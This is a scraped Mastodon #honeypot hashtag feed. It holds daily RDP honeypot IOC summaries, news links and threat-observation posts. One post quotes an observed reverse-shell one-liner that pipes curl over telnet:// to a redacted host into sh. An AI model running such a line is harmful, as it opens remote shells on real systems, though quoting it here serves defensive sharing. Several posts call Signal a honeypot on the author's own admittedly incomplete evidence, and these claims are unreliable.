RDP Snitch<p>2025-03-29 RDP <a href="https://infosec.exchange/tags/Honeypot" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>Honeypot</span></a> IOCs - 178678 scans<br>Thread with top 3 features in each category and links to the full dataset<br><a href="https://infosec.exchange/tags/DFIR" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>DFIR</span></a> <a href="https://infosec.exchange/tags/InfoSec" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>InfoSec</span></a></p><p>Top IPs:<br>138.199.24.6 - 93309<br>156.146.57.110 - 50228<br>156.146.57.52 - 9759</p><p>Top ASNs:<br>AS60068 - 93309<br>AS212238 - 69725<br>AS135161 - 9698</p><p>Top Accounts:<br>hello - 178585<br>Test - 24<br>root - 18</p><p>Top ISPs:<br>DataCamp Limited - 93309<br>Datacamp Limited - 69725<br>GMO-Z.COM PTE. LTD. - 9698</p><p>Top Clients:<br>Unknown - 178678</p><p>Top Software:<br>Unknown - 178678</p><p>Top Keyboards:<br>Unknown - 178678</p><p>Top IP Classification:<br>hosting & proxy - 165719<br>hosting - 9914<br>Unknown - 3030</p><p>Pastebin links with full 24-hr RDP Honeypot IOC Lists:<br><a href="https://pastebin.com/rzdkKpxh" rel="nofollow noopener noreferrer" translate="no" target="_blank"><span class="invisible">https://</span><span class="">pastebin.com/rzdkKpxh</span><span class="invisible"></span></a></p><p><a href="https://infosec.exchange/tags/CyberSec" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>CyberSec</span></a> <a href="https://infosec.exchange/tags/SOC" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>SOC</span></a> <a href="https://infosec.exchange/tags/Blueteam" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>Blueteam</span></a> <a href="https://infosec.exchange/tags/SecOps" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>SecOps</span></a> <a href="https://infosec.exchange/tags/Security" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>Security</span></a></p>
Recent searches
No recent searches
Search options
Only available when logged in.
c.im is one of the many independent Mastodon servers you can use to participate in the fediverse.
C.IM is a general, mainly English-speaking Mastodon instance.
Administered by:
Server stats:
2.9Kactive users
c.im: About · Status · Profiles directory · Privacy policy
Mastodon: About · Get the app · Keyboard shortcuts · View source code · v4.3.6
#honeypot
10 posts · 7 participants · 1 post today
RDP Snitch<p>2025-03-28 RDP <a href="https://infosec.exchange/tags/Honeypot" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>Honeypot</span></a> IOCs - 181569 scans<br>Thread with top 3 features in each category and links to the full dataset<br><a href="https://infosec.exchange/tags/DFIR" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>DFIR</span></a> <a href="https://infosec.exchange/tags/InfoSec" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>InfoSec</span></a></p><p>Top IPs:<br>138.199.24.6 - 91545<br>156.146.57.110 - 42849<br>156.146.57.52 - 10716</p><p>Top ASNs:<br>AS60068 - 93561<br>AS212238 - 64269<br>AS135161 - 10653</p><p>Top Accounts:<br>hello - 181455<br>Test - 33<br>eltons - 15</p><p>Top ISPs:<br>DataCamp Limited - 93561<br>Datacamp Limited - 64269<br>GMO-Z.COM PTE. LTD. - 10653</p><p>Top Clients:<br>Unknown - 181569</p><p>Top Software:<br>Unknown - 181569</p><p>Top Keyboards:<br>Unknown - 181569</p><p>Top IP Classification:<br>hosting & proxy - 160374<br>hosting - 10710<br>Unknown - 10440</p><p>Pastebin links with full 24-hr RDP Honeypot IOC Lists:<br><a href="https://pastebin.com/BiF6s8Jh" rel="nofollow noopener noreferrer" translate="no" target="_blank"><span class="invisible">https://</span><span class="">pastebin.com/BiF6s8Jh</span><span class="invisible"></span></a></p><p><a href="https://infosec.exchange/tags/CyberSec" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>CyberSec</span></a> <a href="https://infosec.exchange/tags/SOC" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>SOC</span></a> <a href="https://infosec.exchange/tags/Blueteam" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>Blueteam</span></a> <a href="https://infosec.exchange/tags/SecOps" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>SecOps</span></a> <a href="https://infosec.exchange/tags/Security" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>Security</span></a></p>
RDP Snitch<p>2025-03-28 RDP <a href="https://infosec.exchange/tags/Honeypot" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>Honeypot</span></a> IOCs - 181563 scans<br>Thread with top 3 features in each category and links to the full dataset<br><a href="https://infosec.exchange/tags/DFIR" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>DFIR</span></a> <a href="https://infosec.exchange/tags/InfoSec" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>InfoSec</span></a></p><p>Top IPs:<br>138.199.24.6 - 91541<br>156.146.57.110 - 42847<br>156.146.57.52 - 10716</p><p>Top ASNs:<br>AS60068 - 93557<br>AS212238 - 64267<br>AS135161 - 10653</p><p>Top Accounts:<br>hello - 181449<br>Test - 33<br>eltons - 15</p><p>Top ISPs:<br>DataCamp Limited - 93557<br>Datacamp Limited - 64267<br>GMO-Z.COM PTE. LTD. - 10653</p><p>Top Clients:<br>Unknown - 181563</p><p>Top Software:<br>Unknown - 181563</p><p>Top Keyboards:<br>Unknown - 181563</p><p>Top IP Classification:<br>hosting & proxy - 160368<br>hosting - 10710<br>Unknown - 10440</p><p>Pastebin links with full 24-hr RDP Honeypot IOC Lists:<br><a href="https://pastebin.com/2rGdnEVR" rel="nofollow noopener noreferrer" translate="no" target="_blank"><span class="invisible">https://</span><span class="">pastebin.com/2rGdnEVR</span><span class="invisible"></span></a></p><p><a href="https://infosec.exchange/tags/CyberSec" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>CyberSec</span></a> <a href="https://infosec.exchange/tags/SOC" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>SOC</span></a> <a href="https://infosec.exchange/tags/Blueteam" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>Blueteam</span></a> <a href="https://infosec.exchange/tags/SecOps" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>SecOps</span></a> <a href="https://infosec.exchange/tags/Security" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>Security</span></a></p>
RDP Snitch<p>2025-03-27 RDP <a href="https://infosec.exchange/tags/Honeypot" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>Honeypot</span></a> IOCs - 235674 scans<br>Thread with top 3 features in each category and links to the full dataset<br><a href="https://infosec.exchange/tags/DFIR" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>DFIR</span></a> <a href="https://infosec.exchange/tags/InfoSec" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>InfoSec</span></a></p><p>Top IPs:<br>138.199.24.6 - 104790<br>156.146.57.110 - 51945<br>156.146.57.51 - 27051</p><p>Top ASNs:<br>AS212238 - 115149<br>AS60068 - 104790<br>AS135161 - 12975</p><p>Top Accounts:<br>hello - 235476<br>Administr - 81<br>Test - 36</p><p>Top ISPs:<br>Datacamp Limited - 115149<br>DataCamp Limited - 104790<br>GMO-Z.COM PTE. LTD. - 12975</p><p>Top Clients:<br>Unknown - 235674</p><p>Top Software:<br>Unknown - 235674</p><p>Top Keyboards:<br>Unknown - 235674</p><p>Top IP Classification:<br>hosting & proxy - 222468<br>hosting - 13041<br>proxy - 108</p><p>Pastebin links with full 24-hr RDP Honeypot IOC Lists:<br><a href="https://pastebin.com/df6MTAmb" rel="nofollow noopener noreferrer" translate="no" target="_blank"><span class="invisible">https://</span><span class="">pastebin.com/df6MTAmb</span><span class="invisible"></span></a></p><p><a href="https://infosec.exchange/tags/CyberSec" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>CyberSec</span></a> <a href="https://infosec.exchange/tags/SOC" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>SOC</span></a> <a href="https://infosec.exchange/tags/Blueteam" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>Blueteam</span></a> <a href="https://infosec.exchange/tags/SecOps" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>SecOps</span></a> <a href="https://infosec.exchange/tags/Security" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>Security</span></a></p>
Apicultor 🐝<p><span class="h-card" translate="no"><a href="https://infosec.space/@kkarhan" class="u-url mention" rel="nofollow noopener noreferrer" target="_blank">@<span>kkarhan</span></a></span> >I may nit have allvthe.evidence yet, but <a href="https://hachyderm.io/tags/Signal" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>Signal</span></a> stenches like <a href="https://hachyderm.io/tags/AN%C3%98M" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>ANØM</span></a>: <a href="https://hachyderm.io/tags/Honeypot" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>Honeypot</span></a>-esque!</p><p>Drugs are a hell of a drug.</p><p><span class="h-card" translate="no"><a href="https://mastodon.world/@signalapp" class="u-url mention" rel="nofollow noopener noreferrer" target="_blank">@<span>signalapp</span></a></span> <span class="h-card" translate="no"><a href="https://mastodon.social/@torproject" class="u-url mention" rel="nofollow noopener noreferrer" target="_blank">@<span>torproject</span></a></span></p>
Kevin Karhan :verified:<p><span class="h-card" translate="no"><a href="https://mastodon.world/@signalapp" class="u-url mention" rel="nofollow noopener noreferrer" target="_blank">@<span>signalapp</span></a></span> It's not <a href="https://infosec.space/tags/disinfo" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>disinfo</span></a> when one points out that you demand <a href="https://infosec.space/tags/PII" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>PII</span></a> aka. <a href="https://infosec.space/tags/PhoneNumbers" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>PhoneNumbers</span></a> from Users and that is literally a architectural vulnerability, alongside your <a href="https://infosec.space/tags/proprietary" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>proprietary</span></a> & <a href="https://infosec.space/tags/Centralized" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>Centralized</span></a> <a href="https://infosec.space/tags/Infrastructure" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>Infrastructure</span></a>.</p><ul><li><a href="https://infosec.space/tags/Signal" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>Signal</span></a> being a <a href="https://infosec.space/tags/SingleVendor" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>SingleVendor</span></a> & <a href="https://infosec.space/tags/SingleProvider" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>SingleProvider</span></a> <a href="https://infosec.space/tags/Solution" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>Solution</span></a> is literally the reason why I consider it <a href="https://infosec.space/tags/insecure" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>insecure</span></a>.</li></ul><p>Not to mention the lack of <span class="h-card" translate="no"><a href="https://mastodon.social/@torproject" class="u-url mention" rel="nofollow noopener noreferrer" target="_blank">@<span>torproject</span></a></span> / <a href="https://infosec.space/tags/Tor" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>Tor</span></a> support with an <a href="https://infosec.space/tags/OnionService" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>OnionService</span></a> or the willingness to fulfill <a href="https://infosec.space/tags/cyberfacist" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>cyberfacist</span></a> <em>"Embargoes"</em> or shilling a <a href="https://infosec.space/tags/Shitcoin" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>Shitcoin</span></a> <a href="https://infosec.space/tags/Scam" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>Scam</span></a> named <a href="https://infosec.space/tags/MobileCoin" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>MobileCoin</span></a>!</p><ul><li><a href="https://infosec.space/tags/KYC" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>KYC</span></a> <em>is</em> the illicit activity!!!</li></ul><p>And don't get me started on the <a href="https://infosec.space/tags/cyberfacism" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>cyberfacism</span></a> that is <a href="https://infosec.space/tags/CloudAct" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>CloudAct</span></a>.</p><ul><li>If you were secure, criminals would've used your platform so hard, it would've been shutdown like <a href="https://infosec.space/tags/EncroChat" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>EncroChat</span></a> and <a href="https://infosec.space/tags/SkyECC" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>SkyECC</span></a>.</li></ul><p>I may nit have allvthe.evidence yet, but <a href="https://infosec.space/tags/Signal" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>Signal</span></a> stenches like <a href="https://infosec.space/tags/AN%C3%98M" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>ANØM</span></a>: <a href="https://infosec.space/tags/Honeypot" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>Honeypot</span></a>-esque!</p>
Kevin Karhan :verified:<p><span class="h-card" translate="no"><a href="https://infosec.exchange/@alwayscurious" class="u-url mention" rel="nofollow noopener noreferrer" target="_blank">@<span>alwayscurious</span></a></span> <span class="h-card" translate="no"><a href="https://social.glitched.systems/@froge" class="u-url mention" rel="nofollow noopener noreferrer" target="_blank">@<span>froge</span></a></span> <span class="h-card" translate="no"><a href="https://mastodon.social/@fj" class="u-url mention" rel="nofollow noopener noreferrer" target="_blank">@<span>fj</span></a></span> <a href="https://infosec.space/tags/CloudAct" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>CloudAct</span></a> alone not, but it's just the tip of the iceberg.</p><ul><li>I bet you that <span class="h-card" translate="no"><a href="https://mastodon.world/@signalapp" class="u-url mention" rel="nofollow noopener noreferrer" target="_blank">@<span>signalapp</span></a></span> & <span class="h-card" translate="no"><a href="https://mastodon.world/@Mer__edith" class="u-url mention" rel="nofollow noopener noreferrer" target="_blank">@<span>Mer__edith</span></a></span> will comply with even the most illegal and cyberfacist orders when facing <em>"rubberhose cryptoanalysis"</em>, which is a valid and likely risk factor in the <a href="https://infosec.space/tags/USA" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>USA</span></a>... </li></ul><p>Again: The only <a href="https://infosec.space/tags/security" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>security</span></a> is <a href="https://infosec.space/tags/decentralization" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>decentralization</span></a>! </p><ul><li>This is why <span class="h-card" translate="no"><a href="https://mastodon.social/@torproject" class="u-url mention" rel="nofollow noopener noreferrer" target="_blank">@<span>torproject</span></a></span> is still up and running: It <em>cannot be shutdown</em> even when all maintainers are being held at gunpoint.</li></ul><p><a href="https://infosec.space/tags/Signal" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>Signal</span></a> is as vulnerable as <a href="https://infosec.space/tags/EncroChat" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>EncroChat</span></a> if it's not a <a href="https://infosec.space/tags/Honeypot" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>Honeypot</span></a> like <a href="https://infosec.space/tags/AN%C3%98M" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>ANØM</span></a>!</p>
Kevin Karhan :verified:<p><span class="h-card" translate="no"><a href="https://kolektiva.social/@licho" class="u-url mention" rel="nofollow noopener noreferrer" target="_blank">@<span>licho</span></a></span> <span class="h-card" translate="no"><a href="https://hachyderm.io/@osman" class="u-url mention" rel="nofollow noopener noreferrer" target="_blank">@<span>osman</span></a></span> provide evidence the code <span class="h-card" translate="no"><a href="https://mastodon.world/@signalapp" class="u-url mention" rel="nofollow noopener noreferrer" target="_blank">@<span>signalapp</span></a></span> released is actually being deployed.</p><ul><li>Whereas <span class="h-card" translate="no"><a href="https://monocles.social/@monocles" class="u-url mention" rel="nofollow noopener noreferrer" target="_blank">@<span>monocles</span></a></span> has <a href="https://infosec.space/tags/ReproducibleBuilds" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>ReproducibleBuilds</span></a> to the point that <span class="h-card" translate="no"><a href="https://floss.social/@fdroidorg" class="u-url mention" rel="nofollow noopener noreferrer" target="_blank">@<span>fdroidorg</span></a></span> literally pulls their <code>git</code> and builds it from source.</li></ul><p>Not to mention pushing a <a href="https://infosec.space/tags/Shitcoin" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>Shitcoin</span></a>-<a href="https://infosec.space/tags/Scam" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>Scam</span></a> (<a href="https://infosec.space/tags/MobileCoin" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>MobileCoin</span></a>) disqualifies <a href="https://infosec.space/tags/Signal" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>Signal</span></a> per very design!<br><a href="https://www.youtube.com/watch?v=tJoO2uWrX1M" rel="nofollow noopener noreferrer" translate="no" target="_blank"><span class="invisible">https://www.</span><span class="">youtube.com/watch?v=tJoO2uWrX1M</span><span class="invisible"></span></a></p><ul><li>Given the collection of <a href="https://infosec.space/tags/PII" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>PII</span></a> like <a href="https://infosec.space/tags/PhoneNumbers" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>PhoneNumbers</span></a>, the ability to restrict functionality based off those and the fact that <a href="https://infosec.space/tags/Signal" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>Signal</span></a> is subject to <a href="https://infosec.space/tags/CloudAct" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>CloudAct</span></a> make it inherently not trustworthy.</li></ul><p>And don't even get me started on the fact.it's not sustainable to run it as a <a href="https://infosec.space/tags/VCmoneyBurningParty" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>VCmoneyBurningParty</span></a>!</p><ul><li>As soon as Signal becomes a problem, it will be taken offline, and due to the fact that it is <a href="https://infosec.space/tags/centralized" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>centralized</span></a>, <a href="https://infosec.space/tags/proprietary" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>proprietary</span></a>, <a href="https://infosec.space/tags/SingleVendor" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>SingleVendor</span></a> & <a href="https://infosec.space/tags/SingleProvider" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>SingleProvider</span></a> that's trivial for authorities.</li></ul><p>Same as identifying users: They already got a <a href="https://infosec.space/tags/PhoneNumber" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>PhoneNumber</span></a> which in many juristictions one can't even obtain without <a href="https://infosec.space/tags/ID" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>ID</span></a> legally, thus making it super easy to i.e. find and locate a user. Even tze cheapest LEAs can force their local M(V)NOs to <a href="https://infosec.space/tags/SS7" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>SS7</span></a> a specific number...</p><ul><li>All these are <em>unnecessary risks</em>, that could've been avoided, but explicitly don't even get remediated retroactively!</li></ul><p>Again: Signal has a <a href="https://infosec.space/tags/Honeypot" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>Honeypot</span></a> stench, and you better learn proper <a href="https://infosec.space/tags/E2EE" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>E2EE</span></a>, <a href="https://infosec.space/tags/SelfCustody" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>SelfCustody</span></a> and <a href="https://infosec.space/tags/TechLiteracy" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>TechLiteracy</span></a> because <a href="https://web.archive.org/web/20210606070919/twitter.com/thegrugq/status/1085614812581715968" rel="nofollow noopener noreferrer" target="_blank"><em>corporations can't pull the 5th [Amendment] on your behalf</em>!</a></p>
LavX News<p>Revolutionizing Cyber Defense: The Power of GenAI in Honeypot Deployment</p><p>As cyber threats evolve, so do the defenses against them. Leveraging Generative AI, organizations can create highly believable honeypots that not only distract attackers but also provide invaluable in...</p><p><a href="https://news.lavx.hu/article/revolutionizing-cyber-defense-the-power-of-genai-in-honeypot-deployment" rel="nofollow noopener noreferrer" target="_blank"><span class="invisible">https://</span><span class="ellipsis">news.lavx.hu/article/revolutio</span><span class="invisible">nizing-cyber-defense-the-power-of-genai-in-honeypot-deployment</span></a></p><p><a href="https://mastodon.cloud/tags/news" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>news</span></a> <a href="https://mastodon.cloud/tags/tech" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>tech</span></a> <a href="https://mastodon.cloud/tags/Cybersecurity" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>Cybersecurity</span></a> <a href="https://mastodon.cloud/tags/GenAI" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>GenAI</span></a> <a href="https://mastodon.cloud/tags/Honeypot" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>Honeypot</span></a></p>
Kevin Karhan :verified:<p><span class="h-card" translate="no"><a href="https://hachyderm.io/@osman" class="u-url mention" rel="nofollow noopener noreferrer" target="_blank">@<span>osman</span></a></span> If your <a href="https://infosec.space/tags/OpSec" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>OpSec</span></a>, <a href="https://infosec.space/tags/InfoSec" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>InfoSec</span></a>, <a href="https://infosec.space/tags/ComSec" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>ComSec</span></a> and/or <a href="https://infosec.space/tags/ITsec" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>ITsec</span></a> relies on <span class="h-card" translate="no"><a href="https://mastodon.world/@signalapp" class="u-url mention" rel="nofollow noopener noreferrer" target="_blank">@<span>signalapp</span></a></span> and/or <span class="h-card" translate="no"><a href="https://mastodon.world/@Mer__edith" class="u-url mention" rel="nofollow noopener noreferrer" target="_blank">@<span>Mer__edith</span></a></span> <a href="https://web.archive.org/web/20210908180219/https://twitter.com/thegrugq/status/1085614812581715968" rel="nofollow noopener noreferrer" target="_blank">risking jail <em>or worse</em></a>, you fucked up!</p><ul><li>If <a href="https://infosec.space/tags/Signal" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>Signal</span></a> was secure, it would've been shutdown like <a href="https://infosec.space/tags/EncroChat" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>EncroChat</span></a> & <a href="https://infosec.space/tags/SkyECC" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>SkyECC</span></a>. </li></ul><p>Seriously, to me <a href="https://infosec.space/tags/Signal" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>Signal</span></a> stenches <a href="https://infosec.space/tags/Honeypot" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>Honeypot</span></a> like <a href="https://infosec.space/tags/AN%C3%98M" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>ANØM</span></a> & <a href="https://infosec.space/tags/CryptoAG" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>CryptoAG</span></a>. </p><ul><li>All Signal fans do is <a href="https://infosec.space/tags/FUD" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>FUD</span></a> <a href="https://infosec.space/tags/PGP" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>PGP</span></a>/MIME and#XMPP+<a href="https://infosec.space/tags/OMEMO" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>OMEMO</span></a> which are truly <a href="https://infosec.space/tags/decentralized" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>decentralized</span></a> and allow real <a href="https://infosec.space/tags/SelfHosting" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>SelfHosting</span></a> as well as <a href="https://infosec.space/tags/SelfCustody" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>SelfCustody</span></a> for complete control of all the data and keys...</li></ul><p>That's why I get people setup with it!</p>
José Pedro Mayo<p>Cloudflare turns AI against itself with endless maze of irrelevant facts - Ars Technica <a href="https://arstechnica.com/ai/2025/03/cloudflare-turns-ai-against-itself-with-endless-maze-of-irrelevant-facts/" rel="nofollow noopener noreferrer" translate="no" target="_blank"><span class="invisible">https://</span><span class="ellipsis">arstechnica.com/ai/2025/03/clo</span><span class="invisible">udflare-turns-ai-against-itself-with-endless-maze-of-irrelevant-facts/</span></a> <a href="https://infosec.exchange/tags/ai" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>ai</span></a> <a href="https://infosec.exchange/tags/honeypot" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>honeypot</span></a></p>
Niels Heinen<p>Anyone else seen an uptick in Palo Alto SSL VPN brute force attempts since the 18th ? My lophiid honeypot is seeing ~6000 concurrent connections at the moment although all are getting handled by the ratelimiter.</p><p><a href="https://infosec.exchange/tags/honeypot" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>honeypot</span></a> <a href="https://infosec.exchange/tags/infosec" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>infosec</span></a> <a href="https://infosec.exchange/tags/dfir" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>dfir</span></a></p>
Kevin Karhan :verified:<p><span class="h-card" translate="no"><a href="https://mastodon.social/@ip6li" class="u-url mention" rel="nofollow noopener noreferrer" target="_blank">@<span>ip6li</span></a></span> <span class="h-card" translate="no"><a href="https://social.heise.de/@heiseonline" class="u-url mention" rel="nofollow noopener noreferrer" target="_blank">@<span>heiseonline</span></a></span> <span class="h-card" translate="no"><a href="https://fosstodon.org/@briar" class="u-url mention" rel="nofollow noopener noreferrer" target="_blank">@<span>briar</span></a></span> und natürlich <a href="https://infosec.space/tags/XMPP" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>XMPP</span></a>+<a href="https://infosec.space/tags/OMEMO" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>OMEMO</span></a> sowie <a href="https://infosec.space/tags/PGP" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>PGP</span></a>/MIME.</p><p>IMHO ist <span class="h-card" translate="no"><a href="https://mastodon.world/@signalapp" class="u-url mention" rel="nofollow noopener noreferrer" target="_blank">@<span>signalapp</span></a></span> eh nen <a href="https://infosec.space/tags/Honeypot" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>Honeypot</span></a>!</p>
pull my strings<p>today I got a fearmongering email from my isp about WOULD YOU EVEN KNOW IF YOUR WIFI WAS COMPROMISED, BUY OUR SERVICE</p><p>firstly, yes, i would, isp<br>secondly, yes, I did spend an hour randomly adding <a href="https://gunbark.dev/tags/honeypot" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>honeypot</span></a> services to something on my <a href="https://gunbark.dev/tags/homelab" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>homelab</span></a> network for funsies</p><p>also signed up for <a href="https://gunbark.dev/tags/bsidesseattle" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>BSidesSeattle</span></a> because damn those workshops look good</p>
Niels Heinen<p>First time I'm seeing curl being used with telnet:// to fetch a payload. Found in an exploitation of CVE-2023-45852</p><p>C='curl -Ns telnet://x.x.x.x:4444'; $C </dev/null 2>&1 | sh 2>&1 | $C >/dev/null</p><p><a href="https://infosec.exchange/tags/dfir" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>dfir</span></a> <a href="https://infosec.exchange/tags/infosec" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>infosec</span></a> <a href="https://infosec.exchange/tags/exploit" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>exploit</span></a> <a href="https://infosec.exchange/tags/honeypot" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>honeypot</span></a> <a href="https://infosec.exchange/tags/threatdetection" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>threatdetection</span></a></p>
Niels Heinen<p>It's just crazy how phpmyadmin mass exploitation remains popular (read: effective) to this day. The only developments I have seen in these exploit attempt is that the list of locations that are checked for phpmyadmin installations gets longer and more creative. </p><p>Other than that: pretty boring stuff</p><p><a href="https://infosec.exchange/tags/honeypot" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>honeypot</span></a> <a href="https://infosec.exchange/tags/dfir" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>dfir</span></a> <a href="https://infosec.exchange/tags/infosec" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>infosec</span></a></p>
